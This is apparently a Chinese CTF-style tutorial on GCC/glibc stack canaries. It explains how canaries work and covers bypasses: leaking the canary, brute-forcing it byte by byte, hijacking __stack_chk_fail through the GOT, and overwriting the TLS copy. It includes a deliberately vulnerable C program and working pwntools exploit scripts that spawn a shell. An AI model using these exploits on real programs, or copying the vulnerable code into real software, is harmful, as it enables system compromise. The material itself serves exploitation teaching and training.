Canary¶
0.Introduction¶
由于stack overflow而引发的攻击非常普遍也非常古老, 相应地一种叫做canary的 mitigation技术很早就出现在gcc/glibc里, 直到现在也作为系统安全的第一道防线存在。
canary不管是实现还是设计思想都比较简单高效, 就是插入一个值, 在stack overflow发生的 高危区域的尾部, 当函数返回之时检测canary的值是否经过了改变, 以此来判断stack/buffer overflow是否发生.
Canary与windows下的GS保护都是防止栈溢出的有效手段,它的出现很大程度上防止了栈溢出的出现,并且由于它几乎并不消耗系统资源,所以现在成了linux下保护机制的标配
1.Canary 原理¶
1.1在GCC中使用Canary¶
可以在GCC中使用以下参数设置Canary:
-fstack-protector 启用保护,不过只为局部变量中含有数组的函数插入保护 -fstack-protector-all 启用保护,为所有函数插入保护 -fstack-protector-strong -fstack-protector-explicit 只对有明确stack_protect attribute的函数开启保护 -fno-stack-protector 禁用保护.
1.2Canary实现原理¶
开启Canary保护的stack结构大概如下
High Address | | +-----------------+ | args | +-----------------+ | return address | +-----------------+ rbp => | old ebp | +-----------------+ rbp-8 => | canary value | +-----------------+ | 局部变量 | Low | | Address
mov rax, qword ptr fs:[0x28] mov qword ptr [rbp - 8], rax
在函数返回之前,会将该值取出,并与fs:0x28的值进行异或。如果抑或的结果为0,说明canary未被修改,函数会正常返回,这个操作即为检测是否发生栈溢出。
mov rdx,QWORD PTR [rbp-0x8] xor rdx,QWORD PTR fs:0x28 je 0x4005d7 <main+65> call 0x400460 <__stack_chk_fail@plt>
如果canary已经被非法修改,此时程序流程会走到stack_chk_fail。stack_chk_fail也是位于glibc中的函数,默认情况下经过ELF的延迟绑定,定义如下。
eglibc-2.19/debug/stack_chk_fail.c void __attribute__ ((noreturn)) __stack_chk_fail (void) { __fortify_fail ("stack smashing detected"); } void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg) { /* The loop is added only to keep gcc happy. */ while (1) __libc_message (2, "*** %s ***: %s terminated\n", msg, __libc_argv[0] ?: "<unknown>"); }
这意味可以通过劫持stack_chk_fail的got值劫持流程或者利用stack_chk_fail泄漏内容(参见stack smash)。
进一步,对于Linux来说,fs寄存器实际指向的是当前栈的TLS结构,fs:0x28指向的正是stack_guard。
typedef struct { void *tcb; /* Pointer to the TCB. Not necessarily the thread descriptor used by libpthread. */ dtv_t *dtv; void *self; /* Pointer to the thread descriptor. */ int multiple_threads; uintptr_t sysinfo; uintptr_t stack_guard; ... } tcbhead_t;
事实上,TLS中的值由函数security_init进行初始化。
static void security_init (void) { // _dl_random的值在进入这个函数的时候就已经由kernel写入. // glibc直接使用了_dl_random的值并没有给赋值 // 如果不采用这种模式, glibc也可以自己产生随机数 //将_dl_random的最后一个字节设置为0x0 uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard (_dl_random); // 设置Canary的值到TLS中 THREAD_SET_STACK_GUARD (stack_chk_guard); _dl_random = NULL; } //THREAD_SET_STACK_GUARD宏用于设置TLS #define THREAD_SET_STACK_GUARD(value) \ THREAD_SETMEM (THREAD_SELF, header.stack_guard, value)
2.Canary绕过技术¶
2.1 序言¶
Canary是一种十分有效的解决栈溢出问题的漏洞缓解措施。但是并不意味着Canary就能够阻止所有的栈溢出利用,在这里给出了常见的存在Canary的栈溢出利用思路,请注意每种方法都有特定的环境要求。
2.2 泄露栈中的Canary¶
Canary设计为以字节"\x00"结尾,本意是为了保证Canary可以截断字符串。 泄露栈中的Canary的思路是覆盖Canary的低字节,来打印出剩余的Canary部分。 这种利用方式需要存在合适的输出函数,并且可能需要第一溢出泄露Canary,之后再次溢出控制执行流程。
2.3 one-by-one爆破Canary¶
对于Canary,不仅每次进程重启后的Canary不同(相比GS,GS重启后是相同的),而且同一个进程中的每个线程的Canary也不同。 但是存在一类通过fork函数开启子进程交互的题目,因为fork函数会直接拷贝父进程的内存,因此每次创建的子进程的Canary是相同的。我们可以利用这样的特点,彻底逐个字节将Canary爆破出来。 在著名的offset2libc绕过linux64bit的所有保护的文章中,作者就是利用这样的方式爆破得到的Canary: 这是爆破的Python代码:
print "[+] Brute forcing stack canary " start = len(p) stop = len(p)+8 while len(p) < stop: for i in xrange(0,256): res = send2server(p + chr(i)) if res != "": p = p + chr(i) #print "\t[+] Byte found 0x%02x" % i break if i == 255: print "[-] Exploit failed" sys.exit(-1) canary = p[stop:start-1:-1].encode("hex") print " [+] SSP value is 0x%s" % canary
2.4劫持__stack_chk_fail函数¶
已知Canary失败的处理逻辑会进入到stack_chk_failed函数,stack_chk_failed函数是一个普通的延迟绑定函数,可以通过修改GOT表劫持这个函数。
参见ZCTF2017 Login,利用方式是通过fsb漏洞篡改__stack_chk_fail的GOT表,再进行ROP利用
2.5覆盖TLS中储存的Canary值¶
已知Canary储存在TLS中,在函数返回前会使用这个值进行对比。当溢出尺寸较大时,可以同时覆盖栈上储存的Canary和TLS储存的Canary实现绕过。
3.利用示例¶
存在漏洞的示例源代码如下:
// ex1.c #include <stdio.h> #include <unistd.h> #include <string.h> void getshell(void) { system("/bin/sh"); } void init() { setbuf(stdin, NULL); setbuf(stdout, NULL); setbuf(stderr, NULL); } int main(void) { int i; init(); char buf[100]; for(i=0;i<2;i++){ scanf("%s",&buf); printf(buf); } return 0; }
编译为32bit程序,开启NX,ASLR,Canary保护
3.1泄露Canary示例¶
首先通过覆盖Canary最后一个"\x00"字节来打印出4位的Canary 之后,计算好偏移,将Canary填入到相应的溢出位置,实现Ret到getshell函数中
#!/usr/bin/env python from pwn import * context.binary = 'ex2' #context.log_level = 'debug' io = process('./ex2') get_shell = 0x804859d io.recvuntil("Hello Hacker!\n") # leak Canary payload = "A"*100 io.sendline(payload) io.recvuntil("A"*100) Canary = u32(io.recv(4))-0xa log.info("Canary:"+hex(Canary)) # Bypass Canary payload = "\x90"*100+p32(Canary)+"\x90"*12+p32(get_shell) enter link description here io.send(payload) io.recv() #io.recv() io.interactive()
3.2劫持__stack_chk_fail示例¶
在__stack__chk_fail
函数的plt地址附近找到一条ret指令。
让程序即使出错也不abort,从而实现BOF利用,return 到getshell中即可。
我们已知__stack__chk_fail
的plt地址为:0x8048450,在没有lazy binding前它中存放的应该时plt的一条指令的地址,我们就在这附近搜索,寻找ret指令,或者其他相关指令
在0x0804840E找到一条ret指令 我们利用格式化字符串漏洞更改got表为该地址即可
#!/usr/bin/env python from pwn import * context.binary = 'ex2' #context.log_level = 'debug' io = process('./ex2') elf =ELF('./ex2') get_shell = 0x804859d stack_failed_addr = elf.got['__stack_chk_fail'] log.info("stack_failed_addr:"+hex(stack_failed_addr)) io.recvuntil("Hello Hacker!\n") # hijack GOT['__stack_chk_fail'] to ret payload = p32(stack_failed_addr)+(0xE-0x4)*"A"+"%6$hhn" io.sendline(payload) io.recvline() payload = "\x90"*116+p32(get_shell) io.send(payload) io.recv() io.recv() io.interactive()